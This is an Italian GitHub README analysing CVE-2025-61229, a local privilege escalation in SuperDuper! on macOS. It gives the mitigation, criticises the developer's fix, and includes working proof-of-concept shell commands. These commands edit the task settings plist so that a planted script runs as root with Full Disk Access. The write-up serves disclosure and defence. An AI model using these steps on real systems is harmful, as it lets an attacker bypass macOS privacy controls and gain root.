graypixel2121/cve-2025-61229Analisi tecnica ed exploit proof-of-concept per CVE-2025-61229, un'escalation dei privilegi locali in SuperDuper! che consente l'esecuzione arbitraria di script con root e Full Disk Access su macOS.
Dal blog dello sviluppatore:
Gli script shell Prima/Dopo impostabili dall'utente vengono eseguiti con privilegi elevati, utilizzando i permessi TCC di Accesso Completo al Disco di SuperDuper. Poiché questi script shell sono referenziati dai file delle impostazioni per la copia o la pianificazione, un attore malintenzionato potrebbe modificare tali impostazioni per eseguire il proprio script.
Dal CVE:
Un problema in SuperDuper! 3.10 e versioni precedenti di Shirt Pocket consente a un attaccante locale di modificare il modello di attività predefinito per eseguire uno script preflight arbitrario con privilegi di root e Accesso Completo al Disco, bypassando così i controlli sulla privacy di macOS.
Questo autore non è lo scopritore della vulnerabilità, identificato dallo sviluppatore di SuperDuper come "ricercatore di sicurezza anonimo". Non rivendico alcun merito per la scoperta di questa vulnerabilità, ho solo preso interesse nel farne un'analisi tecnica.
Punteggio CVSS 3.1: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Per evitare questa vulnerabilità, eliminare l'applicazione SuperDuper! o applicare l'aggiornamento 3.11.
Avvertenza: È necessario scaricare l'aggiornamento direttamente dal sito web dello sviluppatore per evitare la vulnerabilità CVE-2025-61228.
Questa analisi dell'exploit e la prova di concetto sono fornite solo a scopo educativo. Usalo a tuo rischio.
I privilegi di root e l'Accesso Completo al Disco sono i più alti privilegi che un software può ottenere su macOS. Qualsiasi sviluppatore che richieda tali privilegi dovrebbe scrivere software che aderisca ai principi moderni di progettazione della sicurezza e alle migliori pratiche. Questa vulnerabilità, così come quelle esposte in CVE-2025-57489 e CVE-2025-61228, e persino l'ammissione dello stesso sviluppatore che questi problemi persistono da 22 anni, dimostrano che SuperDuper non è stato progettato per essere un prodotto sicuro e non ha visto miglioramenti regolari del design in 22 anni per aderire alle moderne best practice di sicurezza.
Le impostazioni delle attività di SuperDuper continuano ad essere intrinsecamente insicure nella versione corrente (3.11) del prodotto. Consiglierei a chiunque utilizzi questo prodotto di smettere di usarlo finché lo sviluppatore non possa fornire un aggiornamento competente che risolva completamente tutti i problemi di sicurezza sopra menzionati.
Questa vulnerabilità è stata molto più facile da sfruttare rispetto ai due exploit precedenti (CVE-2025-57489 e CVE-2025-61228) – francamente è stata fin troppo facile. Quando una vulnerabilità è così ovvia, facile da sfruttare e rimane irrisolta per decenni, viene da chiedersi se scrivere software sicuro sia importante per lo sviluppatore.
Partendo da una versione vulnerabile dell'applicazione, la prima cosa da fare è trovare dove risiede questo "modello di attività predefinito". Il primo posto ovvio da cercare è ~/Library/Application Support/{vendor/product name}. Centrato, ci sono tre cartelle in ~/Library/Application Support/SuperDuper!:
"Copy Scripts" contiene solo un collegamento simbolico a una cartella nel bundle dell'applicazione, quindi esclusa. All'interno di "Saved Settings" c'è una cartella nascosta chiamata ".Default Settings.sdsp". All'interno di quella cartella c'è una cartella "Logs" e un singolo file chiamato "Session Settings.sdss" in formato plist. Il file Session Settings è di proprietà dell'utente loggato, e sì, ci sono tutte le impostazioni dell'attività, proprio lì nude in quel file.
Gli script Prima/Dopo sono controllati da quattro impostazioni:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
Questo semplice script di test dimostrerà entrambi gli aspetti della vulnerabilità:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
Poi basta modificare il plist "Session Settings.sdss". Lo strumento defaults farà il lavoro rapidamente, ma dovremo fare una copia di questo file perché defaults richiede un file con suffisso .plist:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
Apri SuperDuper ed esegui un backup. Una volta terminato, cerca il file "private_data.txt" in /Library (dovrebbe contenere un elenco di file dal tuo Desktop, che sarebbe accessibile solo a un'applicazione che ha il privilegio speciale di accedere a quei dati privati). Onestamente sono un po' sorpreso di quanto siano vulnerabili le impostazioni delle attività. "Are" non è un errore di battitura. Ecco come lo sviluppatore descrive la "soluzione" per questa vulnerabilità:
Per mitigare questa vulnerabilità, in v3.11 abbiamo apportato due modifiche:
Gli script shell Prima/Dopo sono forzati a essere eseguiti con l'ID e i privilegi dell'utente. Le persone che necessitano di contesti di esecuzione alternativi possono farlo attraverso normali metodi Unix come suid.
Gli script devono essere di proprietà dell'utente root, anche quando eseguiti nel contesto dell'utente normale. Ciò garantisce che qualsiasi script eseguito sia stato esplicitamente autorizzato da un utente amministrativo.
Quindi hanno imposto alcune limitazioni su ciò che può essere eseguito come script Prima/Dopo, ma non sembra che abbiano migliorato la sicurezza del file delle impostazioni delle attività. Sfortunatamente questo è efficace solo a limitare l'attaccante dal fare qualcosa di produttivo. L'unico requisito sullo script shell Prima/Dopo è che sia di proprietà di root. A parte questo, all'attaccante è ancora concesso libero arbitrio di modificare il modello di impostazioni delle attività predefinite. Questo è completamente assurdo. Forse un attaccante non può usare questi script Prima/Dopo per esfiltrare le tue password e dati finanziari, ma scommetto che potrebbe causare qualche danno specificando qualsiasi strumento shell integrato (la maggior parte dei quali soddisfa il requisito di proprietà root). Vai avanti e inserisci lo strumento "/usr/bin/say" come script Prima e guarda cosa succede – questo sarebbe esilarante se la sicurezza dei dati non fosse un argomento così serio. Nessuno degli strumenti integrati avrà un impatto significativo senza la possibilità di modificare gli argomenti, ma alcuni potrebbero causare fastidio e faranno sicuramente fallire il backup.
Il mio punto è che c'è differenza tra "evitare un exploit di root" e "scrivere software sicuro". Lo sviluppatore è riuscito in gran parte a evitare due opportunità di exploit di root qui, ma la configurazione delle attività è ancora intrinsecamente insicura. Qualsiasi sconosciuto può modificare le impostazioni delle attività "dietro le quinte", e se non stai attento, questi cambiamenti potrebbero avere un certo impatto sui tuoi dati o sul tuo backup.
Ci si chiede anche se questa mancanza di sicurezza sulle altre impostazioni possa ancora essere sfruttata.